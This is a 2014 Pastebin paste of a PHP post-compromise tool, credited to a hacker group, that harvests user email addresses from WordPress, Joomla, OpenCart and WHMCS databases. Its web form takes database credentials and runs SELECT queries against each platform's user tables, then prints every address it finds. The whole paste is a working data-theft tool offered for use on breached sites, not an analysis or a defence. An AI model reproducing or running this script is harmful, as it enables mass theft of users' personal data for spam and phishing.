Pain_R

Extract Emails From Wordpress - Joomla - WHMCS - OpenCart :)

Mar 22nd, 2014
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.41 KB | None | 0 0
  1. <?
  2. /*
  3.  * Title : Extract Emails From [ OpenCart - JooMla - Wordpress - WHMCS]
  4.  * Coded By : xSecurity
  5.  * Email & Skype : [email protected] ~ b0x-sa
  6.  * Greets : Mr.Dm4r - No-QRQR - b0x - DameneDz - FoX HaCkEr - r0kin - RAB3OUN - Lov3rDNS - DeeF - abolalh - Group x3 - All Members ~
  7.  * Homepages : sec4ever.com - is-sec.com - xsec-labs.com - Exploit4ar.com
  8.  * My Profile in Exoloit4ar [ http://www.exploit4ar.com/author/51 ]
  9.  */
  10.  echo "
  11.     <body bgcolor='#CECECE'>
  12.     <form method='GET'>
  13.     <title>Extract Emails From [ OpenCart - WordPress - Joomla - WHMCS ]</title>
  14.     <p align='center' dir='ltr'>
  15.     <b><font face='Tahoma' size='6'>Extract Email'z From</font></b></p>
  16.     <p align='center' dir='ltr'>
  17.     <font size='2' face='Verdana'>[</font><font face='Verdana' color='#FF0000' size='2'>
  18.     </font><font face='Verdana' size='2' color='#606060'>
  19.     <a href='?xsec=wordpress' style='text-decoration: none'>
  20.     <font color='#606060'>WordPress</font></a> -
  21.     <a href='?xsec=joomla' style='text-decoration: none'><font color='#606060'>
  22.     Joomla</font></a> - <a href='?xsec=opencart' style='text-decoration: none'>
  23.     <font color='#606060'>OpenCart</font></a> -
  24.     <a href='?xsec=whmcs' style='text-decoration: none'><font color='#606060'>
  25.     WHMCS</font></a> </font><font size='2' face='Verdana'>]</font></p></form></body>";
  26.    
  27.  $host = $_POST['host'];
  28.  $data = $_POST['data'];
  29.  $user = $_POST['user'];
  30.  $pass = $_POST['pass'];
  31.  $dbprefix = $_POST['dbprefix'];
  32.  
  33.  # Command MySQL
  34. $cart = "SELECT `email` FROM `oc_user`";
  35.  $wp = "SELECT `user_email` FROM `wp_users`";
  36.  $j0 = 'SELECT `email` FROM `'.$dbprefix.'users` GROUP BY `email` ORDER BY `email`';
  37.  $whm = "SELECT `email` FROM `tblclients`";
  38.  
  39.  # function connect MySQL & Select DB
  40. function connect($host,$data,$user,$pass) {
  41.     $co = @mysql_connect($host,$user,$pass) or die(mysql_error());
  42.     $da = @mysql_select_db($data) or die(mysql_error());
  43.         return $co;
  44.  }
  45.  
  46.  # OpenCart
  47. if($_GET['xsec'] == 'opencart') {
  48.     echo "
  49.     <form method='POST'><center>
  50.     <input type='text' name='host' value='localhost'>
  51.     <input type='text' name='data' value='database'>
  52.     <input type='text' name='user' value='username'>
  53.     <input type='text' name='pass' value='password'>
  54.     <input type='submit' value='Executre'></p></center></form>";
  55.     echo "<p align='center' dir='ltr'><textarea cols='35' rows='18'>";
  56.     if(connect($host, $data, $user, $pass)) {
  57.     $cmd1 = @mysql_query($cart);
  58.     while($emails1 = @mysql_fetch_array($cmd1)) {
  59.     echo "{$emails1[email]}\n"; }
  60.     echo "</textarea>";  } }
  61.  
  62.  # Wordpress
  63. if($_GET['xsec'] == 'wordpress') {
  64.     echo "<form method='POST'><center>
  65.     <input type='text' name='host' value='localhost'>
  66.     <input type='text' name='data' value='database'>
  67.     <input type='text' name='user' value='username'>
  68.     <input type='text' name='pass' value='password'>
  69.     <input type='submit' value='Executre'></center></form>";
  70.     echo "<p align='center' dir='ltr'><textarea cols='35' rows='18'>";
  71.     if(connect($host, $data, $user, $pass)) {
  72.     $cmd2 = @mysql_query($wp);
  73.     while($emails2 = @mysql_fetch_array($cmd2)) {
  74.         echo "{$emails2[user_email]}\n"; }
  75.     echo "</textarea>"; } }
  76.  
  77.  # Joomla
  78. if($_GET['xsec'] == 'joomla') {
  79.     echo "<form method='POST'><center>
  80.     <input type='text' name='host' value='localhost'>
  81.     <input type='text' name='data' value='database'>
  82.     <input type='text' name='user' value='username'>
  83.     <input type='text' name='pass' value='password'>
  84.     <input type='text' name='dbprefix' value='prefix_'>
  85.     <input type='submit' value='Executre'></center></form>";
  86.     echo "<p align='center' dir='ltr'><textarea cols='35' rows='18'>";
  87.     if(connect($host, $data, $user, $pass)) {
  88.     $cmd3 = @mysql_query($j0);
  89.     while($emails3 = @mysql_fetch_array($cmd3)) {
  90.         echo "{$emails3[email]}\n"; }
  91.     echo "</textarea>"; } }
  92.  
  93.  # WHMCS
  94. if($_GET['xsec'] == 'whmcs') {
  95.     echo "<form method='POST'><center>
  96.     <input type='text' name='host' value='localhost'>
  97.     <input type='text' name='data' value='database'>
  98.     <input type='text' name='user' value='username'>
  99.     <input type='text' name='pass' value='password'>
  100.     <input type='submit' value='Executre'></center></form>";
  101.     echo "<p align='center' dir='ltr'><textarea cols='35' rows='18'>";
  102.         if(connect($host, $data, $user, $pass)) {
  103.     $cmd4 = @mysql_query($whm);
  104.     while($emails4 = @mysql_fetch_array($cmd4)) {
  105.         echo "{$emails4[email]}\n"; }
  106.     echo "</textarea>"; }
  107.  }
  108.     echo "<p align='center' dir='ltr'>
  109.     <font face='Verdana' size='1'>Coded By :<font color='#FF0000'> xSecurity</font>
  110.     ~ Skype :<font color='#FF0000'> b0x-sa</font></font></p>
  111.     <p align='center' dir='ltr'>
  112.     <font face='Verdana' size='1'>Greets : </font>
  113.     <font SIZE='1' face='Verdana' color='#FF0000'>Mr.Dm4r - No-QRQR - b0x -
  114.     DameneDz - FoX HaCkEr - r0kin - RAB3OUN - Lov3rDNS - DeeF - abolalh - Group
  115.     x3 - All Members</font><font SIZE='1' COLOR='#606060' face='Verdana'> ~</font></p>
  116.     <p align='center' dir='ltr'>
  117.     <font face='Verdana' size='1'>Homepage :</font><font face='Verdana' size='1' color='#0099CC'>
  118.     </font><font face='Verdana' size='1' color='#606060'>
  119.     <a href='http://www.sec4ever.com' style='text-decoration: none'>
  120.     <font color='#0099CC'>www.sec4ever.com</font></a></font><font face='Verdana' size='1' color='#0099CC'>
  121.     </font><font face='Verdana' size='1'>-</font><font face='Verdana' size='1' color='#0099CC'>
  122.     </font><font face='Verdana' size='1' color='#606060'>
  123.     <a href='http://www.is-sec.com' style='text-decoration: none'>
  124.     <font color='#0099CC'>www.is-sec.com</font></a></font></p>";
  125. ?>
Advertisement
Add Comment
Please, Sign In to add comment